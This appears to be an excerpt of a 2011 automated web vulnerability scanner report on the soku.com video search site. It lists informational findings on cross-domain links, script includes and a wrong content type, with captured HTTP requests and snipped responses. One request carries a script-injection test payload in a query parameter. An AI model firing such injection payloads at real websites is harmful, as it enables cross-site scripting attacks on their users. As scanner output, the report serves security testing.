<li class="v_link"><a title="......028" target="_blank" href="http://v.blog.sohu.com/u/vw/1740891" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="6"></a></li>
               <li class="v_thumb"><img alt="......028" src="http://g2.ykimg.com/0900641F4649C55F2300000000000000000000-0000-0000-0000-000017CA8E26" ></li>
...[SNIP]...
<li class="v_title"><a title="......028" target="_blank" href="http://v.blog.sohu.com/u/vw/1740891" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="6" >......028</a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=165'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=330'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=495'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=660'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=825'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=990'></a>
...[SNIP]...
<li class="v_link"><a title="<script>alert(xss)<script>" target="_blank" href="http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="7"></a></li>
               <li class="v_thumb"><img alt="<script>alert(xss)<script>" src="http://g3.ykimg.com/0100011F4648886DB69E0D00DB5F226061289C-AFCD-A21C-E901-AD280BC25DAE" ></li>
...[SNIP]...
<li class="v_title"><a title="<script>alert(xss)<script>" target="_blank" href="http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="7" ><script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://lstat.youku.com/urchin.js"></script>
...[SNIP]...

3.3. http://www.soku.com/v  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.soku.com
Path:   /v

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /v?keyword=xss&hd=%22%3E%3CSCRIPT%3Edocument.title=1313775822796041%3C/SCRIPT%3E%3C%22 HTTP/1.1
Host: www.soku.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.0 200 OK
Server: soku server132
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 53745
Date: Fri, 19 Aug 2011 17:45:16 GMT
Connection: keep-alive


<!DOCTYPE HTML>
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>xss ......-............</title>
<link type="text/css" rel="stylesh
...[SNIP]...
<div class="sobrand"><a href="http://www.youku.com" target="_blank"><span class="logoyouku_sl">
...[SNIP]...
<br /><a href="http://www.youku.com/youku/help/question_play.shtml#java" target="_blank">...............</a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=11'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=22'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=34'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=45'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=57'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=68'></a>
...[SNIP]...
<li class="v_link"><a title="...............458" target="_blank" href="http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="1"></a></li>
               <li class="v_thumb"><img alt="...............458" src="http://g1.ykimg.com/0100641F464DB7A2549E4E052E24FA859D7041-B8E3-4A3B-A224-41872BC9728A" ></li>
...[SNIP]...
<li class="v_title"><a title="...............458" target="_blank" href="http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="1" >...............458</a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=36'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=73'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=109'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=146'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=182'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=219'></a>
...[SNIP]...
<li class="v_link"><a title="xss...... ........." target="_blank" href="http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="2"></a></li>
               <li class="v_thumb"><img alt="xss...... ........." src="http://g2.ykimg.com/0100011F464767580FEA100055D974EDB4E283-2614-AF59-0A0F-F8CF3BB2CEAF" ></li>
...[SNIP]...
<li class="v_title"><a title="xss...... ........." target="_blank" href="http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="2" ><span class="highlight">
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=19'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=38'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=57'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=76'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=96'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=115'></a>
...[SNIP]...
<li class="v_link"><a title="XSS Shell Demo" target="_blank" href="http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="3"></a></li>
               <li class="v_thumb"><img alt="XSS Shell Demo" src="http://g1.ykimg.com/0100641F464D21A3D1C47304DE8530BC4B887C-8F64-3ACF-49D0-4A72FD69020E" ></li>
...[SNIP]...
<li class="v_title"><a title="XSS Shell Demo" target="_blank" href="http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="3" ><span class="highlight">
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=13'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=27'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=41'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=55'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=69'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=82'></a>
...[SNIP]...
<li class="v_link"><a title="4.6XSS ......3.........." target="_blank" href="http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="4"></a></li>
               <li class="v_thumb"><img alt="4.6XSS ......3.........." src="http://g1.ykimg.com/0100641F464D612B0ED8B604E4E2F9D52B19C1-F011-44DF-6762-BB54C7082CB5" ></li>
...[SNIP]...
<li class="v_title"><a title="4.6XSS ......3.........." target="_blank" href="http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="4" >4.6<span class="highlight">
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=24'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=49'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=74'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=99'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=124'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=149'></a>
...[SNIP]...
<li class="v_link"><a title="Konakart 2.2.6.0 stored XSS explitation with BeEF" target="_blank" href="http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="5"></a></li>
               <li class="v_thumb"><img alt="Konakart 2.2.6.0 stored XSS explitation with BeEF" src="http://g2.ykimg.com/0100641F464E07AF1EEF1F054E844A654A42C3-79BC-5660-7D40-49AFECAB39C6" ></li>
...[SNIP]...
<li class="v_title"><a title="Konakart 2.2.6.0 stored XSS explitation with BeEF" target="_blank" href="http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="5" >Konakart 2.2.6.0 stored <span class="highlight">
...[SNIP]...
<li class="v_link"><a title="......028" target="_blank" href="http://v.blog.sohu.com/u/vw/1740891" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="6"></a></li>
               <li class="v_thumb"><img alt="......028" src="http://g2.ykimg.com/0900641F4649C55F2300000000000000000000-0000-0000-0000-000017CA8E26" ></li>
...[SNIP]...
<li class="v_title"><a title="......028" target="_blank" href="http://v.blog.sohu.com/u/vw/1740891" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="6" >......028</a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=165'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=330'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=495'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=660'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=825'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=990'></a>
...[SNIP]...
<li class="v_link"><a title="<script>alert(xss)<script>" target="_blank" href="http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="7"></a></li>
               <li class="v_thumb"><img alt="<script>alert(xss)<script>" src="http://g1.ykimg.com/0100011F4648886DB69E0D00DB5F226061289C-AFCD-A21C-E901-AD280BC25DAE" ></li>
...[SNIP]...
<li class="v_title"><a title="<script>alert(xss)<script>" target="_blank" href="http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="7" ><script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://lstat.youku.com/urchin.js"></script>
...[SNIP]...

3.4. http://www.soku.com/v  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.soku.com
Path:   /v

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /v?keyword=xss HTTP/1.1
Host: www.soku.com
Proxy-Connection: keep-alive
Referer: http://www.soku.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
Server: soku server132
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 52652
Date: Fri, 19 Aug 2011 17:41:59 GMT
Connection: keep-alive


<!DOCTYPE HTML>
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>xss ......-............</title>
<link type="text/css" rel="stylesh
...[SNIP]...
<div class="sobrand"><a href="http://www.youku.com" target="_blank"><span class="logoyouku_sl">
...[SNIP]...
<br /><a href="http://www.youku.com/youku/help/question_play.shtml#java" target="_blank">...............</a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=11'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=22'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=34'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=45'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=57'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=68'></a>
...[SNIP]...
<li class="v_link"><a title="...............458" target="_blank" href="http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="1"></a></li>
               <li class="v_thumb"><img alt="...............458" src="http://g1.ykimg.com/0100641F464DB7A2549E4E052E24FA859D7041-B8E3-4A3B-A224-41872BC9728A" ></li>
...[SNIP]...
<li class="v_title"><a title="...............458" target="_blank" href="http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="1" >...............458</a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=36'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=73'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=109'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=146'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=182'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=219'></a>
...[SNIP]...
<li class="v_link"><a title="xss...... ........." target="_blank" href="http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="2"></a></li>
               <li class="v_thumb"><img alt="xss...... ........." src="http://g2.ykimg.com/0100011F464767580FEA100055D974EDB4E283-2614-AF59-0A0F-F8CF3BB2CEAF" ></li>
...[SNIP]...
<li class="v_title"><a title="xss...... ........." target="_blank" href="http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="2" ><span class="highlight">
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=19'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=38'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=57'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=76'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=96'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=115'></a>
...[SNIP]...
<li class="v_link"><a title="XSS Shell Demo" target="_blank" href="http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="3"></a></li>
               <li class="v_thumb"><img alt="XSS Shell Demo" src="http://g1.ykimg.com/0100641F464D21A3D1C47304DE8530BC4B887C-8F64-3ACF-49D0-4A72FD69020E" ></li>
...[SNIP]...
<li class="v_title"><a title="XSS Shell Demo" target="_blank" href="http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="3" ><span class="highlight">
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=13'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=27'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=41'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=55'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=69'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=82'></a>
...[SNIP]...
<li class="v_link"><a title="4.6XSS ......3.........." target="_blank" href="http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="4"></a></li>
               <li class="v_thumb"><img alt="4.6XSS ......3.........." src="http://g2.ykimg.com/0100641F464D612B0ED8B604E4E2F9D52B19C1-F011-44DF-6762-BB54C7082CB5" ></li>
...[SNIP]...
<li class="v_title"><a title="4.6XSS ......3.........." target="_blank" href="http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="4" >4.6<span class="highlight">
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=24'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=49'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=74'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=99'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=124'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=149'></a>
...[SNIP]...
<li class="v_link"><a title="Konakart 2.2.6.0 stored XSS explitation with BeEF" target="_blank" href="http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="5"></a></li>
               <li class="v_thumb"><img alt="Konakart 2.2.6.0 stored XSS explitation with BeEF" src="http://g2.ykimg.com/0100641F464E07AF1EEF1F054E844A654A42C3-79BC-5660-7D40-49AFECAB39C6" ></li>
...[SNIP]...
<li class="v_title"><a title="Konakart 2.2.6.0 stored XSS explitation with BeEF" target="_blank" href="http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="5" >Konakart 2.2.6.0 stored <span class="highlight">
...[SNIP]...
<li class="v_link"><a title="......028" target="_blank" href="http://v.blog.sohu.com/u/vw/1740891" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="6"></a></li>
               <li class="v_thumb"><img alt="......028" src="http://g2.ykimg.com/0900641F4649C55F2300000000000000000000-0000-0000-0000-000017CA8E26" ></li>
...[SNIP]...
<li class="v_title"><a title="......028" target="_blank" href="http://v.blog.sohu.com/u/vw/1740891" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="6" >......028</a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=165'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=330'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=495'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=660'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=825'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=990'></a>
...[SNIP]...
<li class="v_link"><a title="<script>alert(xss)<script>" target="_blank" href="http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="7"></a></li>
               <li class="v_thumb"><img alt="<script>alert(xss)<script>" src="http://g3.ykimg.com/0100011F4648886DB69E0D00DB5F226061289C-AFCD-A21C-E901-AD280BC25DAE" ></li>
...[SNIP]...
<li class="v_title"><a title="<script>alert(xss)<script>" target="_blank" href="http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="7" ><script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://lstat.youku.com/urchin.js"></script>
...[SNIP]...

4. Cross-domain script include  previous  next
There are 2 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


4.1. http://www.soku.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.soku.com
Path:   /

Issue detail

The response dynamically includes the following script from another domain:

Request

GET / HTTP/1.1
Host: www.soku.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Vary: Accept-Encoding
Last-Modified: Fri, 05 Aug 2011 07:26:14 GMT
ETag: "C+f0HP1Qv9V"
Content-Type: text/html; charset=UTF-8
Accept-Ranges: bytes
Expires: Fri, 19 Aug 2011 17:44:40 GMT
Cache-Control: max-age=585
X-Cache: HIT
Content-Length: 3191
Date: Fri, 19 Aug 2011 17:41:04 GMT
Server: soku server

<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>......-............</title>
<link type="text/css" rel="stylesheet" href="/css/soku.css" />
...[SNIP]...
</script>
<script type="text/javascript" src="http://lstat.youku.com/urchin.js"></script>
...[SNIP]...

4.2. http://www.soku.com/v  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.soku.com
Path:   /v

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /v?keyword=xss HTTP/1.1
Host: www.soku.com
Proxy-Connection: keep-alive
Referer: http://www.soku.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
Server: soku server132
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 52652
Date: Fri, 19 Aug 2011 17:41:59 GMT
Connection: keep-alive


<!DOCTYPE HTML>
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>xss ......-............</title>
<link type="text/css" rel="stylesh
...[SNIP]...
</script>
<script type="text/javascript" src="http://lstat.youku.com/urchin.js"></script>
...[SNIP]...

5. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.soku.com
Path:   /img/videowall

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /img/videowall HTTP/1.1
Host: www.soku.com
Proxy-Connection: keep-alive
Referer: http://www.soku.com/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: application/json, text/javascript, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
Server: soku server132
Content-Type: text/html; charset=utf-8
Date: Fri, 19 Aug 2011 17:41:09 GMT
Content-Length: 12273
Connection: keep-alive

{"data":[{"name":"............ .........", "pic":"http://g1.ykimg.com/0102641F464CF4C4440000000000000CFB6B92-BB59-DB20-A1BC-03023D40384F"},{"name":"............", "pic":"http://g2.ykimg.com/0102641F46
...[SNIP]...

Report generated by XSS.CX at Fri Aug 19 11:49:50 GMT-06:00 2011.